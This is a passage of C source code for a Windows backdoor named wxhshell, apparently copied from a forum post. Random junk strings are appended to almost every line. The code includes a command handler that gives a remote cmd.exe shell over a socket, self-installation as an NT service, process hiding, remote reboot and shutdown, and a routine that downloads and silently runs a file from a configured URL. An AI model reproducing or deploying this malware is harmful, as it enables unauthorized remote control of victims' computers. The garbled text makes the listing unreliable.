  } *%Qn{x  
  else { (><zsLs&  
gBu1QviU  
    switch(cmd[0]) { z9W`FBg  
  (BX83)  
  // 帮助 ~f|Z%&l|  
  case '?': { !h&g7do]Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1exl0]-  
    break; M>jtFP <S  
  } @eqeN9e  
  // 安装 hzI *{  
  case 'i': { )o!XWh  
    if(Install()) 5 =(c%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ozsxXBh-`'  
    else z}SND9-"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PLM_#+R>  
    break; 1 4 LI5T  
    } *zO&N^X.4  
  // 卸载 ck#"*] ,  
  case 'r': { L]a`"CH:a$  
    if(Uninstall()) TEUY3z[g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KlK`;cr?  
    else U=bEA1*@0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eMK+X \  
    break; 'H9=J*9oG  
    } Bs`$ i ;&  
  // 显示 wxhshell 所在路径 c41: !u^  
  case 'p': { PR<||"03  
    char svExeFile[MAX_PATH]; fIoIW&iy  
    strcpy(svExeFile,"\n\r"); ;0ME+]`"3  
      strcat(svExeFile,ExeFile); ! #wdVe_(  
        send(wsh,svExeFile,strlen(svExeFile),0); IB.yU,v  
    break; $]aBe !  
    } Z?MoJ{.!?R  
  // 重启 x0a.!  
  case 'b': { df+t:a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u% 2<\:~j  
    if(Boot(REBOOT)) ]L2Oz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); elJ)4Em  
    else { 9ykM3  
    closesocket(wsh); ~Lfcg*  
    ExitThread(0); ]43[6Im  
    } dsK&U\ej}  
    break; Vbh6HqAHxJ  
    } `,wu}F85  
  // 关机 PXP`ZLF  
  case 'd': { ')+0nPV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O?bK%P]ay  
    if(Boot(SHUTDOWN)) m9M FwfZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jc_\'Gr+[  
    else { HOt>}x  
    closesocket(wsh); '#\D]5  
    ExitThread(0); K|W^l\Lt  
    } I 5ag6l  
    break; _i}wK?n  
    } L{ gE'jCC  
  // 获取shell ,xJrXPW  
  case 's': { rl:KJ\*D  
    CmdShell(wsh); b syq*  
    closesocket(wsh); G,&%VQ3P>  
    ExitThread(0); iNcZ)m/  
    break; 5IVksg  
  } :lcea6iO  
  // 退出 9T2xU3UyY  
  case 'x': { ?y},,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (k-YI{D3  
    CloseIt(wsh); jm>3bd  
    break; Hr;h4J  
    } &UAe!{E0  
  // 离开 mkvvNm3  
  case 'q': { hJ%1   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h -_&MD/J  
    closesocket(wsh); (J:dK=O@Z  
    WSACleanup(); ic6L9>[  
    exit(1); Y5A~E#zw  
    break; [nN7qG  
        } PW}OU9is  
  } p5c8YfM  
  } ~pP0|B*%  
w=r&?{  
  // 提示信息 2x$x; \*j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L3y5a?G  
} ^<V9'Ut   
  } ty1fcdFZM  
#S QXTR  
  return; 5#:pT  
} "#^MUQ!a  
Dxx;v.$  
// shell模块句柄 5?u[XAE  
int CmdShell(SOCKET sock) p(3sgY1  
{ _[Gb)/@mM  
STARTUPINFO si; ' |K.k6  
ZeroMemory(&si,sizeof(si)); ka7uK][  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <SXZx9A!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +Al>2~  
PROCESS_INFORMATION ProcessInfo; =7[)'  
char cmdline[]="cmd"; vM0_>1nN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f %fa{  
  return 0; [p;*r)f2}  
} %j]ST D.E  
,j9 80/  
// 自身启动模式 RpQ*!a~O  
int StartFromService(void) 3VCqp13  
{ pV`$7^#X  
typedef struct ~2%3FV^  
{ Rmh*TQu  
  DWORD ExitStatus; Hw_o w?  
  DWORD PebBaseAddress; ^^Lj I  
  DWORD AffinityMask; vd~U@-C=R  
  DWORD BasePriority; :=g.o;(/N  
  ULONG UniqueProcessId; ?#[)C=p]z  
  ULONG InheritedFromUniqueProcessId; c;!g  
}   PROCESS_BASIC_INFORMATION; Vb6K:ZnF  
#;j9}N  
PROCNTQSIP NtQueryInformationProcess; T`L}[?w  
vb=CFV#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VZxTx0: ,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~^o=a?L`<  
v+q<BYq  
  HANDLE             hProcess; hYt7kq!"  
  PROCESS_BASIC_INFORMATION pbi; >S&U.  
#a}N"*P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fp !:u  
  if(NULL == hInst ) return 0; X\2_; zwf  
~ l )t|'6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xEoip?O?7F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `"<2)yq?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p]f&mBO*  
MQw9X  
  if (!NtQueryInformationProcess) return 0; u^Sv#K X  
 ]6~k4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W7e4pR?w  
  if(!hProcess) return 0; Y}1 P~  
X\A]"su  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9]~PC Z2j  
lSCY5[?  
  CloseHandle(hProcess); Z] {@H  
JLUms  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h%b hrkD  
if(hProcess==NULL) return 0; Qilj/x68  
zeOb Aw1O  
HMODULE hMod; >}]H;& l  
char procName[255]; U1\MA6pXW  
unsigned long cbNeeded; HWtPLlNt  
!LSs9_w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q_lu`F|  
EVz9WY  
  CloseHandle(hProcess); Y?!/>q  
wixD\t59X  
if(strstr(procName,"services")) return 1; // 以服务启动 1M+Zkak7p  
NhlJ3/J j  
  return 0; // 注册表启动 5ZsDgOeY  
} Sr7@buF  
m!!;/e?yx  
// 主模块 gE=Wcb!  
int StartWxhshell(LPSTR lpCmdLine) /#\?1)jCK  
{ yV_ L/,6}D  
  SOCKET wsl; `1,eX)S  
BOOL val=TRUE;  HD|sr{Z%  
  int port=0; F?2FITi_V  
  struct sockaddr_in door; pGk"3.ce  
eiB(VOJ  
  if(wscfg.ws_autoins) Install(); Q<'@V@H  
03"#J2b  
port=atoi(lpCmdLine); \(9p&"Q-  
3;D?|E]1  
if(port<=0) port=wscfg.ws_port; a(Sv,@/  
d<Dn9,G  
  WSADATA data; L w*1 .~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {{zua- F  
r`>~Lp`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J[+Tj @n'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2mOfsn d@  
  door.sin_family = AF_INET; AO8:|?3S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T g\hx>  
  door.sin_port = htons(port); @ V5S4E  
(\uA AW"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3GINv3_  
closesocket(wsl); x 8M#t(hw  
return 1; `vH&K{   
} h9Z[z73_a  
8!6<p[_  
  if(listen(wsl,2) == INVALID_SOCKET) { okh0 _4  
closesocket(wsl); I$Eg$q  
return 1; g`{Dxb,t  
} |@q9{h7  
  Wxhshell(wsl); B{4"$Mi  
  WSACleanup(); xOgq-@`  
(WkTQRcN,  
return 0; a[JZ5D  
5~-}}F  
} YiBOi?h9  
&08 Tns"  
// 以NT服务方式启动 `x< 0A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (V^QQ !:  
{ [BE:+ ID3  
DWORD   status = 0;  3:"AFV  
  DWORD   specificError = 0xfffffff; kFnUJM$r  
(Z'WR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c}8 -/P=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _we3jzMW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |'@V<^GR  
  serviceStatus.dwWin32ExitCode     = 0; K.r!?cfv  
  serviceStatus.dwServiceSpecificExitCode = 0; mR6E]TuM  
  serviceStatus.dwCheckPoint       = 0; P69>gBZYD  
  serviceStatus.dwWaitHint       = 0; b/G8M r  
Ta,u-!/ I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =Y:5,.U  
  if (hServiceStatusHandle==0) return; ju r1!rg%  
V3%Krn1'  
status = GetLastError(); kU>#1 He  
  if (status!=NO_ERROR) @ikUM+A {  
{ yh4jRe?f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W|~q<},j  
    serviceStatus.dwCheckPoint       = 0; "&| lO|  
    serviceStatus.dwWaitHint       = 0; *SXSF95  
    serviceStatus.dwWin32ExitCode     = status; vN' VDvVM  
    serviceStatus.dwServiceSpecificExitCode = specificError; \}n !yYh(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v5P*<U Ax  
    return; /1H9z`qV  
  } "@aq@mY@  
$)4GCP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )|MIWgfWN  
  serviceStatus.dwCheckPoint       = 0; ;}n|,g>  
  serviceStatus.dwWaitHint       = 0; '[ @F%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CuF%[9[cT  
} ,,zd.9n  
(c  u'  
// 处理NT服务事件,比如:启动、停止 !7ph,/P$7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C8! 8u?k  
{ f&+XPd %  
switch(fdwControl) k{zs578h2  
{ 7=; D0SS  
case SERVICE_CONTROL_STOP: t@l(xnsV  
  serviceStatus.dwWin32ExitCode = 0; .Gjr`6R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dw'<"+zO  
  serviceStatus.dwCheckPoint   = 0; 6sO  
  serviceStatus.dwWaitHint     = 0; @Pd) %'s  
  { .ou!g&xu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8  /5sv  
  } m*Q[lr=  
  return; cH+h=E=  
case SERVICE_CONTROL_PAUSE: -ryDsq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3(cU)  
  break; A%.J%[MVz  
case SERVICE_CONTROL_CONTINUE: Q:'qw#P/C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]Y?{$M G  
  break; bS_y_ 9K  
case SERVICE_CONTROL_INTERROGATE: uEc0/ a :.  
  break; ^aGZJiyJ  
}; 3P%w-qT!N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |G|*  
} =$&7IQ?  
/5L'9e  
// 标准应用程序主函数 UIC\CP d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +,ZU TG  
{ H5 p}Le  
V)_H E  
// 获取操作系统版本 BnKP7e  
OsIsNt=GetOsVer(); ]}UeuF\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u=_bM2;~Z  
5bu[}mJ  
  // 从命令行安装 .5jnKU8NF  
  if(strpbrk(lpCmdLine,"iI")) Install(); i}v}K'`  
34/]m/2NZK  
  // 下载执行文件 lBizC5t!o  
if(wscfg.ws_downexe) { (=S"Kvb~#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^KaqvG$ed  
  WinExec(wscfg.ws_filenam,SW_HIDE); z v L>(R  
} 12%z3/i  
h(+m<J  
if(!OsIsNt) { 4GMa5]Ft  
// 如果时win9x,隐藏进程并且设置为注册表启动 0A #9C09  
HideProc(); tdMP,0u  
StartWxhshell(lpCmdLine); ,yB?~  
} "ZA$"^  
else B,BOzpb(  
  if(StartFromService()) Fi?U)T+%+  
  // 以服务方式启动 lp37irI:  
  StartServiceCtrlDispatcher(DispatchTable); JLFFh!J  
else J};u25:}  
  // 普通方式启动 A{DIp+  
  StartWxhshell(lpCmdLine); 97:t29N  
!q7;{/QM6  
return 0; \Y>#^b?  
}
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只看该作者 1 发表于: 2006-10-10
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